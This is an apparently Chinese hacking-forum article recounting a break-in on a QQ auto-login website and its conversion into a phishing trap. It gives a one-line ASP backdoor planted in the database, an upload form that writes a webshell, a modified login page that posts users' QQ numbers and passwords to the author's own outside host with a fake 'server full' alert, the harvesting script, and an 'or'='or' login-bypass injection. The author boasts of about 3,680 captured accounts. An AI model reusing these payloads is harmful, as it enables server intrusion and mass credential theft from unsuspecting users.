|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
前不久上QQ老是收到好友挂机的信息..这次看到我同学发来的信息..无意中打开..看排名不错..突然就有了想入侵它的冲动。
QQ挂机的页面没什么看头..看看主站.ASP的..试了几个连接尝试SQL注入..失败...然后就想着找二级连接用%5c爆库..很遗憾..没找到..正打算放弃的时候.看到有注册..就自己注册了一个进去玩...注册成功后返回一地址.如图1

有点希望了,改成 http://www.xxx.com/system/admin%5csave_user.asp <为了引起不必要的麻烦.去除敏感信息>
数据库路径给爆了出来...如图2

换成URL就是 http://www.xxx.com/system/xxxx/system.asp
数据库是出来了..还是ASP..未做防下载处理..但我们如何利用呢..开始我们已经注册了用户..登陆看看把.. 看到有<个人信息修改>我们在地址或个人主页那里写上一句话代码 <%execute request("value")%> 图3

自我介绍那里我试了.只要写了代码就被转义了,然后我们重新看下数据库文件 http://www.xxx.com/system/xxxx/system.asp 看最下面的数据..图4

Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
/system/xxxx/system.asp,行838
说明我们已经成功把一句话木马代码写进数据库
然后把以下代码保存HTM格式的就可以本地上传一个马了... <form action=http://www.xxx.com/system/xxxx/system.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("fhod") lP.SaveToFile server.mappath("ck.asp"),2 lP.Close set lP=nothing response.redirect "ck.asp" </textarea> 木马 </textarea><BR><center><br> <input type=submit value=提交>
我写了一个海洋的马..然后提交...返回登陆界面.. http://www.xxx.com/system/xxxx/ck.asp 图5...成功

这里关于怎么入侵的.写的不是很详细.很多都是一概而过..因为没多少技术含量。本文也并不是着重讲解如何入侵的...下面的内容才是最主要的...就是我如何利用这个挂Q的站实现一次钓鱼攻击的。
拿到SHELL后进入QQ目录..看到实现挂机的也就index.asp和def.asp两个文件...其中代码是调用了服务器安装的组件..具体什么组件就不清楚了..
看下index.asp代码 <form method="POST" action="Index.asp"> <tr><td colspan=2 align=center bgcolor="#F5F5F5">用户登陆</td></tr> <tr><td><img src="Img/Login.jpg"></td> <td>QQ号码:<input type=text size=20 name=QQ value="<%=QQ%>"><br> 密 码:<input type=password size=20 name=Password value="<%=PWD%>"><br> 登陆过程就是这样实现...由于代码多....我就不全发了...
那我们是否可以修改这里的代码来实现钓鱼呢...也就是...别人来挂QQ输入了QQ和密码只要点了登陆..那么QQ和密码就会发给我们预先设定好的一个地方...这里用ASP实现
下面是我修改后的index.asp主要代码
<table border=1 bordercolor="#CCCCCC" cellpadding=4 class=use1><form method="POST" action="http://www.ciker.org/qq/qqs.asp"> <tr><td colspan=2 align=center bgcolor="#F5F5F5">用户登陆</td></tr> <tr><td><img src="Img/Login.jpg"></td> <td>QQ号码:<INPUT class=inp type=text size=20 name=QQ value="<%=QQ%>"><br> 密 码:<INPUT class=inp name=mima type=password size=20 value="<%=PWD%>"><br> 登陆模式:<select size="1" name="LoginMode1" style="width:100px">
这段代码意思是输入的QQ和密码都会提交到http://www.ciker.org/qq/qqs.asp里面去
然后我们在来看一下qqs.asp的代码...经过我修改的
<!--#include file=conn.asp--> <% qq=request("qq") mima=request("mima") set rs=server.createobject("adodb.recordset") sql="select * from qq" rs.open sql,conn,1,3 rs.addnew rs("qq")=qq rs("mima")=mima rs.update %> <script language=javascript> alert("对不起,服务器人已经满了.请稍后再登陆"); </script> <meta http-equiv="Refresh" content="1; URL=http://qq.xxxx.com/indexbak.asp">
我来解释下 qq=request("qq")正好对应index.asp中的QQ号码:<INPUT class=inp type=text size=20 name=QQ value="<%=QQ%>"> mima=request("mima")对应密 码:<INPUT class=inp name=mima type=password size=20 value="<%=PWD%>"><br>
下面的 <script language=javascript> alert("对不起,服务器人已经满了.请稍后再登陆"); </script> 是我制造的虚假信息..当对方第一次挂机时..输入qq和密码..点登陆...就会提交到我的站里http://www.ciker.org/qq/qqs.asp 然后弹出信息"对不起,服务器人已经满了.请稍后再登陆"
如图6

然后 <meta http-equiv="Refresh" content="1; URL=http://qq.xxxx.com/indexbak.asp"> 在一秒内转到http://qq.xxxx.com/indexbak.asp这个站indexbak.asp是我备份他的index.asp正常登陆页面,..然后返回正常登陆..这次输入QQ和密码..登陆..就会出现..成功发送登陆消息的提示
图7

这时候虽然QQ是已经挂上了..但厄运也跟着降临了..或许这个时候你还在为QQ挂机成功而高兴呢..孰不知...明天已经发到了我网站后台..现在我们登陆后台看看成果把..图8是我刚才提交的结果....密码当然是乱写的了

呵呵..大家就不要尝试登陆了..:) 数据库我处理了...先给大家抓张我钓鱼的成果截图..图9.

状态栏先的那个http://www.ciker.org/qq/sc.asp?id=3680是删除QQ和密码记录的 ID=3680表示这是第3680个QQ了...呵...收获还不少把
为了不给对方站点带来不必要的麻烦..我屏蔽掉了他的信息...如果大家有兴趣测试的话 我把我改的程序传到了我的站
http://www.ciker.org/qq/
千万不要输入真正的密码.^_^..小心被盗了..到时候千万别来找我哈...
后台登陆地址 http://www.ciker.org/qq/ad.htm 管理员用户和密码我就不说了..看过无名的那篇文章的估计都能进去..没看的建议看下 http://bbs.hackbase.com/viewthread.php?tid=2731091&fpage=2
我们来看ad.htm 的代码不难看出 <form align=center action=qq.asp method=post name="form1"><br> 管理员:<input name="na"> <br> 密 码:<input type=password name="pwd"> <br><br>
接着来看qq.asp的登陆验证代码
<% if session("name")="" then na=request("na") pwd=request("pwd") set rs=server.createobject("adodb.recordset") sql="select * from admin where name='"&na&"' and pwd='"&pwd&"'" rs.open sql,conn,1,3 if rs.eof then%> <script language=javascript> alert("管理帐户或者密码错误"); window.location="ad.htm" </script> <% else session("name")=na end if end if set rs=server.createobject("adodb.recordset") sql="select * from qq order by time" rs.open sql,conn,1,3 %> 呵呵..懂点ASP的看出来了把
sql="select * from admin where name='"&na&"' and pwd='"&pwd&"'"
用经典的'or'='or'就可以进去了。
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |